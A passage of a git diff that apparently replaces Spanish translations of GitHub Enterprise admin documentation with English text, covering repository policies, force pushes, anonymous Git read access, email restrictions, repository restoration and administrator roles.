creation](#setting-a-policy-for-repository-creation)." {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} -5. En "Modificar visibilidad del repositorio", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} {% data reusables.enterprise-accounts.repository-visibility-policy %} @@ -163,7 +169,7 @@ Across all organizations owned by your enterprise, you can allow members with ad {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.repositories-tab %} -5. En "Transferencia y eliminación de repositorios", revisa la información sobre cómo modificar los parámetros. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} {% data reusables.enterprise-accounts.repository-deletion-policy %} @@ -173,26 +179,29 @@ Across all organizations owned by your enterprise, you can allow members with ad {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} -3. En la pestaña **Políticas de repositorios**, en "Eliminación de propuestas en los repositorios", revisa la información acerca de los cambios en la configuración. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -4. En "Eliminación de propuestas en los repositorios", usa el menú desplegable y elige una política. ![Menú desplegable con opciones de políticas de eliminación de propuestas](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png) +3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} +4. Under "Repository issue deletion", use the drop-down menu and choose a policy. + ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png) {% ifversion ghes or ghae %} ## Enforcing a policy for Git push limits -Para que el tamaño de tu repositorio se mantenga en una cantidad administrable y puedas prevenir los problemas de rendimiento, puedes configurar un límite de tamaño de archivo para los repositorios de tu empresa. +To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise. -Cuando impones límites de carga a los repositorios, la configuración predeterminada no permite a los usuarios añadir o actualizar archivos mayores a 100 MB. +By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %} -4. Dentro de "Repository upload limit (Límite de subida del repositorio)", utiliza el menú desplegable y haz clic en un tamaño máximo de objeto. ![Menú desplegable con opciones de tamaño máximo de objeto](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png) -5. Opcionalmente, para requerir un límite de carga máximo para todos los repositorios en tu empresa, selecciona **Requerir en todos los repositorios** ![Opción para imponer tamaño máximo de objetos en todos los repositorios](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) +4. Under "Repository upload limit", use the drop-down menu and click a maximum object size. +![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png) +5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories** +![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png) -## Configurar el editor de fusión de conflictos para solicitudes de extracción entre repositorios +## Configuring the merge conflict editor for pull requests between repositories -Solicitarles a los usuarios que resuelvan los conflictos de fusión en forma local desde sus computadoras puede evitar que las personas escriban inadvertidamente un repositorio ascendente desde una bifurcación. +Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork. {% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} @@ -201,9 +210,10 @@ Solicitarles a los usuarios que resuelvan los conflictos de fusión en forma loc {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} -1. En "Editor de conflicto para las solicitudes de extracción entre repositorios", usa el menú desplegable y haz clic en **Disabled** (Inhabilitado). ![Menú desplegable con opción para inhabilitar el editor de conflicto de fusión](/assets/images/enterprise/settings/conflict-editor-settings.png) +1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**. + ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png) -## Configurar las cargas forzadas +## Configuring force pushes Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization. @@ -212,10 +222,11 @@ Each repository inherits a default force push setting from the settings of the u {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.options-tab %} -4. Debajo de "Force pushes" (Empujes forzados), usa el menú desplegable y haz clic en **Allow** (Permitir), **Block** (Bloquear) o **Block to the default branch** (Bloquear en la rama predeterminada). ![Forzar empujes desplegables](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png) -5. Opcionalmente, selecciona **Enforce on all repositories** (Implementar en todos los repositorios) que sobrescribirán las configuraciones a nivel de la organización y del repositorio para los empujes forzados. +4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**. +![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png) +5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes. -### Bloquear las cargas forzadas para un repositorio específico +### Blocking force pushes to a specific repository {% data reusables.enterprise_site_admin_settings.override-policy %} @@ -225,13 +236,14 @@ Each repository inherits a default force push setting from the settings of the u {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -4. Selecciona **Block** (Bloquear) o **Block to the default branch** (Bloquear en la rama predeterminada) debajo de **Push and Pull** (Subir y extraer). ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png) +4. Select **Block** or **Block to the default branch** under **Push and Pull**. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png) -### Bloquear empujes forzados a los repositorios que posee una cuenta de usuario u organización +### Blocking force pushes to repositories owned by a user account or organization -Los repositorios heredan los parámetros de los empujes forzados de la cuenta de usuario u organización a la que pertenecen. Las cuentas de usuario y las organizaciones a su vez heredan su configuración de subidas forzadas de aquella de la empresa. +Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise. -Puedes sustituir los parámetros predeterminados heredados al configurar los parámetros para una cuenta de usuario u organización. +You can override the default inherited settings by configuring the settings for a user account or organization. {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} @@ -239,30 +251,32 @@ Puedes sustituir los parámetros predeterminados heredados al configurar los par {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -5. En "Parámetros predeterminados del repositorio" en la sección "Empujes forzados", selecciona - - **Block** (Bloquear) para bloquear los empujes forzados en todas las ramas. - - **Block to the default branch** (Bloquear en la rama por defecto) para bloquear solo los empujes forzados en la rama por defecto. ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png) -6. Opcionalmente, selecciona **Enforce on all repositories** (Implementar en todos los repositorios) para sustituir los parámetros específicos del repositorio. Nota que esto **no** anulará alguna política válida en toda la empresa. ![Bloquear empujes forzados](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) +5. Under "Repository default settings" in the "Force pushes" section, select + - **Block** to block force pushes to all branches. + - **Block to the default branch** to only block force pushes to the default branch. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png) +6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy. + ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png) {% endif %} {% ifversion ghes %} -## Configurar el acceso de lectura anónimo de Git +## Configuring anonymous Git read access {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %} -{% ifversion ghes %}Si [habilitaste el modo privado](/enterprise/admin/configuration/enabling-private-mode) en tu empresa, puedes {% else %}Puedes {% endif %}permitir a los administradores de repositorio habilitar el acceso de lectura de Git a los repositorios públicos. +{% ifversion ghes %}If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) on your enterprise, you {% else %}You {% endif %}can allow repository administrators to enable anonymous Git read access to public repositories. -Habilitar el acceso anónimo de lectura de Git permite a los usuarios saltar la autenticación para las herramientas personalizadas en tu empresa. Cuando tú o un administrador de repositorio activan esta configuración de acceso a un repositorio, las operaciones Git no autenticadas (y cualquiera con acceso de red a {% data variables.product.product_name %}) tendrán acceso de lectura al repositorio sin autenticación. +Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication. -De ser necesario, puedes prevenir que los administradores de repositorio cambien la configuración de acceso anónimo de Git para los repositorios de tu empresa si bloqueas la configuración de acceso de los mismos. Una vez que bloqueas los parámetros de acceso de lectura Git de un repositorio, solo un administrador del sitio puede modificar los parámetros. +If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting. {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %} {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} -### Configurar el acceso de lectura anónimo de Git para todos los repositorios +### Setting anonymous Git read access for all repositories {% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} @@ -271,18 +285,23 @@ De ser necesario, puedes prevenir que los administradores de repositorio cambien {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %} -4. En "Acceso de lectura Git anónimo", usa el menú desplegable y haz clic en **Activado**. ![Menú desplegable de acceso de lectura Git anónimo que muestra las opciones de menú "Habilitado" e "Inhabilitado"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png) -3. Opcionalmente, para prevenir que los administradores de repositorio cambien la configuración del acceso de lectura anónimo de Git en todos los repositorios de tu empresa, selecciona **Prevenir que los administradores de los repositorios cambien el acceso de lectura anónimo de Git**. ![Casilla de verificación seleccionada para prevenir que los administradores de los repositorios cambien la configuración de acceso de lectura anónimo de Git para todos los repositorios de tu empresa](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png) +4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**. +![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png) +3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**. +![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png) -### Configurar el acceso de lectura anónimo de Git para un repositorio específico +### Setting anonymous Git read access for a specific repository {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %} -6. En "Zona de peligro", al lado de "Activar el acceso de lectura Git anónimo", haz clic en **Activar**. ![Botón "Activado" en "Activar el acceso de lectura Git anónimo" en la zona de peligro de los parámetros de administración del sitio de un repositorio ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) -7. Revisa los cambios. Para confirmar, haz clic en **Sí, habilitar el acceso de lectura Git anónimo.** ![Confirma la configuración de acceso de lectura Git anónimo en la ventana emergente](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png) -8. Opcionalmente, para impedir que los administradores de repositorio modifiquen estos parámetros para este repositorio, selecciona **Impedir que los administradores de repositorio modifiquen el acceso de lectura Git anónimo**. ![Selecciona la casilla de verificación para evitar que los administradores del repositorio cambien el acceso de lectura Git anónimo para este repositorio](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png) +6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**. +!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png) +7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.** +![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png) +8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**. +![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png) {% endif %} diff --git a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md index 87cdafcb78..d0ce79dc0e 100644 --- a/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md +++ b/translations/es-ES/content/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Restringir las notificaciones por correo electrónico para tu empresa -intro: Puedes prevenir las fugas de información de tu empresa hacia cuentas de correo electrónico personales si restringes los dominos en los cuales los miembros pueden recibir notificaciones por correo electrónico sobre la actividad en las organizaciones que pertenecen a tu empresa. +title: Restricting email notifications for your enterprise +intro: You can prevent your enterprise's information from leaking into personal email accounts by restricting the domains where members can receive email notifications about activity in organizations owned by your enterprise. product: '{% data reusables.gated-features.restrict-email-domain %}' versions: ghec: '*' @@ -17,7 +17,7 @@ redirect_from: - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account-to-approved-domains - /github/setting-up-and-managing-your-enterprise/restricting-email-notifications-for-your-enterprise-account - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/restricting-email-notifications-for-your-enterprise-account -shortTitle: Restringir las notificaciones por correo electrónico +shortTitle: Restrict email notifications --- ## About email restrictions for your enterprise @@ -26,13 +26,13 @@ When you restrict email notifications, enterprise members can only use an email {% data reusables.enterprise-accounts.approved-domains-beta-note %} -The domains can be inherited from the enterprise or configured for the specific organization. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" y "[Restringir las notificaciones por correo electrónico para tu organización](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)". +The domains can be inherited from the enterprise or configured for the specific organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)" and "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)." {% data reusables.notifications.email-restrictions-verification %} If email restrictions are enabled for an enterprise, organization owners cannot disable email restrictions for any organization owned by the enterprise. If changes occur that result in an organization having no verified or approved domains, either inherited from an enterprise that owns the organization or for the specific organization, email restrictions will be disabled for the organization. -## Restringir las notificaciones por correo electrónico para tu empresa +## Restricting email notifications for your enterprise Before you can restrict email notifications for your enterprise, you must verify or approve at least one domain for the enterprise. {% ifversion ghec %} For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %} @@ -40,4 +40,4 @@ Before you can restrict email notifications for your enterprise, you must verify {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.organizations.restrict-email-notifications %} -1. Haz clic en **Save ** (guardar). +1. Click **Save**. diff --git a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md index 14c484b4bb..a668538533 100644 --- a/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md +++ b/translations/es-ES/content/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository.md @@ -1,5 +1,5 @@ --- -title: Restaurando un repositorio eliminado +title: Restoring a deleted repository intro: Site administrators can restore deleted repositories to recover their contents. versions: ghes: '*' @@ -10,18 +10,17 @@ topics: - Repositories shortTitle: Restore a deleted repository --- +Usually, if someone deletes a repository, it will be available on disk for 90 days and can be restored via the site admin dashboard. Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever. -Generalmente, si alguien elimina un repositorio, estará disponible en el disco por 90 días y se puede restablecer mediante el tablero de administración del sitio. Unless a legal hold is in effect on a user or organization, after 90 days the repository is purged and deleted forever. - -## Acerca de la restauración de repositorios +## About repository restoration If a repository was part of a fork network when it was deleted, the restored repository will be detached from the original fork network. -Puede tardar hasta una hora después de que se elimine un repositorio antes de que ese repositorio esté disponible para la restauración. +It can take up to an hour after a repository is deleted before that repository is available for restoration. -Restaurar un repositorio no restaurará los archivos adjuntos de lanzamiento o los permisos de equipo. Las propuestas que se restablezcan no se etiquetarán. +Restoring a repository will not restore release attachments or team permissions. Issues that are restored will not be labeled. -## Restaurando un repositorio eliminado +## Restoring a deleted repository {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} @@ -30,6 +29,6 @@ Restaurar un repositorio no restaurará los archivos adjuntos de lanzamiento o l 1. Find the repository you want to restore in the deleted repositories list, then to the right of the repository name click **Restore**. 1. To confirm you would like to restore the named repository, click **Restore**. -## Leer más +## Further reading - "[Placing a legal hold on a user or organization](/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization)" diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md index 7e23e0ab29..780a4f4191 100644 --- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md +++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md @@ -1,11 +1,11 @@ --- -title: Promover o degradar a un administrador del sitio +title: Promoting or demoting a site administrator redirect_from: - /enterprise/admin/articles/promoting-a-site-administrator/ - /enterprise/admin/articles/demoting-a-site-administrator/ - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator - /admin/user-management/promoting-or-demoting-a-site-administrator -intro: 'Los administradores del sitio pueden promover cualquier cuenta de usuarios normales a un administrador del sitio, así como degradar a otros administradores del sitio a usuarios normales.' +intro: 'Site administrators can promote any normal user account to a site administrator, as well as demote other site administrators to regular users.' versions: ghes: '*' type: how_to @@ -14,46 +14,49 @@ topics: - Accounts - User account - Enterprise -shortTitle: Administrar a los administradores +shortTitle: Manage administrators --- - {% tip %} -**Nota:** Si [ la sincronización LDAP está activada](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync) y se establece el atributo `Administrators group` cuando [se configura el acceso LDAP para usuarios](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), estos usuarios tendrán automáticamente acceso de administrador del sitio para tu instancia. En este caso, no puedes promover usuarios manualmente con los siguientes pasos, debes agregarlos al grupo de administradores LDAP. +**Note:** If [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) and the `Administrators group` attribute is set when [configuring LDAP access for users](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance), those users will automatically have site administrator access to your instance. In this case, you can't manually promote users with the steps below; you must add them to the LDAP administrators group. {% endtip %} -Para obtener información sobre cómo promover un usuario a un propietario de la organización, consulta la sección `ghe-org-admin-promote` de "[Utilidades de línea de comandos](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)". +For information about promoting a user to an organization owner, see the `ghe-org-admin-promote` section of "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-org-admin-promote)." -## Promover un usuario desde los parámetros de empresa +## Promoting a user from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -5. En la esquina superior derecha de la página, haz clic en **Agregar propietario**. ![Botón para agregar un administrador](/assets/images/help/business-accounts/business-account-add-admin-button.png) -6. En el campo Buscar, escribe el nombre del usuario y haz clic en **Agregar**. ![Campo de búsqueda para agregar un administrador](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) +5. In the upper-right corner of the page, click **Add owner**. + ![Button to add an admin](/assets/images/help/business-accounts/business-account-add-admin-button.png) +6. In the search field, type the name of the user and click **Add**. + ![Search field to add an admin](/assets/images/help/business-accounts/business-account-search-to-add-admin.png) -## Degradar un administrador del sitio desde los parámetros de empresa +## Demoting a site administrator from the enterprise settings {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %} -1. En la esquina superior izquierda de la página, en el campo de búsqueda "Find an administrator" (Encontrar un administrador), escribe el nombre de usuario de la persona que deseas degradar. ![Campo de búsqueda para encontrar un administrador](/assets/images/help/business-accounts/business-account-search-for-admin.png) +1. In the upper-left corner of the page, in the "Find an administrator" search field, type the username of the person you want to demote. + ![Search field to find an administrator](/assets/images/help/business-accounts/business-account-search-for-admin.png) -1. En los resultados de búsqueda, encuentra el nombre de usuario de la persona que quieres bajar de rango y luego utiliza el menú desplegable de {% octicon "gear" %} y selecciona **Eliminar propietario**. ![Eliminar de la opción de empresa](/assets/images/help/business-accounts/demote-admin-button.png) +1. In the search results, find the username of the person you want to demote, then use the {% octicon "gear" %} drop-down menu, and select **Remove owner**. + ![Remove from enterprise option](/assets/images/help/business-accounts/demote-admin-button.png) -## Promover un usuario desde la línea de comandos +## Promoting a user from the command line -1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) en tu aparato. -2. Ejecuta [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) con el nombre de usuario a promover. +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-promote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-promote) with the username to promote. ```shell $ ghe-user-promote username ``` -## Degradar un administrador del sitio desde la línea de comandos +## Demoting a site administrator from the command line -1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) en tu aparato. -2. Ejecuta [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) con el nombre de usuario a degradar. +1. [SSH](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/) into your appliance. +2. Run [ghe-user-demote](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-user-demote) with the username to demote. ```shell $ ghe-user-demote username ``` diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md index 721d06dcbe..62a12b3bab 100644 --- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md +++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md @@ -1,6 +1,6 @@ --- -title: Roles en una empresa -intro: 'Todas las personas en una empresa son miembros de ella. Para controlar el acceso a los datos y configuraciones de tu empresa, puedes asignar roles diferentes a los miembros de ella.' +title: Roles in an enterprise +intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.' product: '{% data reusables.gated-features.enterprise-accounts %}' redirect_from: - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise @@ -16,61 +16,61 @@ topics: - Enterprise --- -## Acerca de los roles en una empresa +## About roles in an enterprise -Todas las personas en una empresa son miembros de ella. También puedes asignar roles administrativos a los miembros de tu empresa. Cada rol de admnistrador mapea las funciones de negocio y proporciona permisos para llevar a cabo tareas específicas dentro de la empresa. +Everyone in an enterprise is a member of the enterprise. You can also assign administrative roles to members of your enterprise. Each administrator role maps to business functions and provides permissions to do specific tasks within the enterprise. {% data reusables.enterprise-accounts.enterprise-administrators %} {% ifversion ghec %} -Si tu empresa no utiliza {% data variables.product.prodname_emus %}, puedes invitar a alguien a un rol administrativo utilizando una cuetna de usuario en {% data variables.product.product_name %} que ellos controlen. Para obtener más información, consulta la sección "[Invitar a las personas para que administren tu empresa](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)". +If your enterprise does not use {% data variables.product.prodname_emus %}, you can invite someone to an administrative role using a user account on {% data variables.product.product_name %} that they control. For more information, see "[Inviting people to manage your enterprise](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)". -En una empresa que utiliza {% data variables.product.prodname_emus %}, los propietarios y miembros nuevos deben aprovisionarse mediante tu proveedor de identidad. Los propietarios empresariales y propietarios de empresas no pueden agregar miembros o propietarios nuevos a la empresa utilizando {% data variables.product.prodname_dotcom %}. Puedes seleccionar el rol empresarial de un miembro utilizando tu IdP y no puede cambiarse en {% data variables.product.prodname_dotcom %}. Puedes seleccionar el rol de un miembro en una organización de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)". +In an enterprise using {% data variables.product.prodname_emus %}, new owners and members must be provisioned through your identity provider. Enterprise owners and organization owners cannot add new members or owners to the enterprise using {% data variables.product.prodname_dotcom %}. You can select a member's enterprise role using your IdP and it cannot be changed on {% data variables.product.prodname_dotcom %}. You can select a member's role in an organization on {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% else %} -Para obtener más información acerca de cómo agregar personas a tu empresa, consulta la sección "[Autenticación](/admin/authentication)". +For more information about adding people to your enterprise, see "[Authentication](/admin/authentication)". {% endif %} -## Propietario de empresa +## Enterprise owner -Los propietarios de las empresas tienen el control absoluto de las mismas y pueden tomar todas las acciones, incluyendo: -- Gestionar administradores -- {% ifversion ghec %}Agregar y eliminar {% elsif ghae or ghes %}Administrar{% endif %} organizaciones{% ifversion ghec %}to and from {% elsif ghae or ghes %} en{% endif %} la empresa -- Administrar parámetros de la empresa -- Aplicar políticas en las organizaciones -{% ifversion ghec %}- Administrar la configuración de facturación{% endif %} +Enterprise owners have complete control over the enterprise and can take every action, including: +- Managing administrators +- {% ifversion ghec %}Adding and removing {% elsif ghae or ghes %}Managing{% endif %} organizations {% ifversion ghec %}to and from {% elsif ghae or ghes %} in{% endif %} the enterprise +- Managing enterprise settings +- Enforcing policy across organizations +{% ifversion ghec %}- Managing billing settings{% endif %} -Los propietarios de empresa no pueden acceder a los parámetros o el contenido de la organización, a menos que se conviertan en propietarios de la organización o que se les otorgue acceso directo al repositorio que le pertenece a una organización. De forma similar, los propietarios de las organizaciones en tu empresa no tienen acceso a la empresa misma a menos de que los conviertas en propietarios de ella. +Enterprise owners cannot access organization settings or content unless they are made an organization owner or given direct access to an organization-owned repository. Similarly, owners of organizations in your enterprise do not have access to the enterprise itself unless you make them enterprise owners. -Un propietario de la empresa solo consumirá una licencia si son propietarios o miembros de por lo menos una organización dentro de la emrpesa. {% ifversion ghec %}Los propietrios de la empresa deben tener una cuenta personal en {% data variables.product.prodname_dotcom %}.{% endif %} Como mejor práctica, te recomendamos que solo algunas personas en tu compañía se conviertan en propietarios, para reducir el riesgo en tu negocio. +An enterprise owner will only consume a license if they are an owner or member of at least one organization within the enterprise. {% ifversion ghec %}Enterprise owners must have a personal account on {% data variables.product.prodname_dotcom %}.{% endif %} As a best practice, we recommend making only a few people in your company enterprise owners, to reduce the risk to your business. -## Miembros de empresa +## Enterprise members -Los miembros de las organizaciones que pertenezcan a tu empresa también son miembros de ella automáticamente. Los miembros pueden colaborar en las organizaciones y pueden ser dueños de éstas, pero no pueden configurar ni acceder a los ajustes empresariales{% ifversion ghec %}, including billing settings{% endif %}. +Members of organizations owned by your enterprise are also automatically members of the enterprise. Members can collaborate in organizations and may be organization owners, but members cannot access or configure enterprise settings{% ifversion ghec %}, including billing settings{% endif %}. -Las personas en tu empresa podrían tener niveles de acceso diferentes para las diversas organizaciones que pertenecen a tu empresa y para los repositorios dentro de ellas. Puedes ver los recursos a los que tiene acceso cada persona. Para obtener más información, consulta la sección "[Visualizar a las personas en tu empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)". +People in your enterprise may have different levels of access to the various organizations owned by your enterprise and to repositories within those organizations. You can view the resources that each person has access to. For more 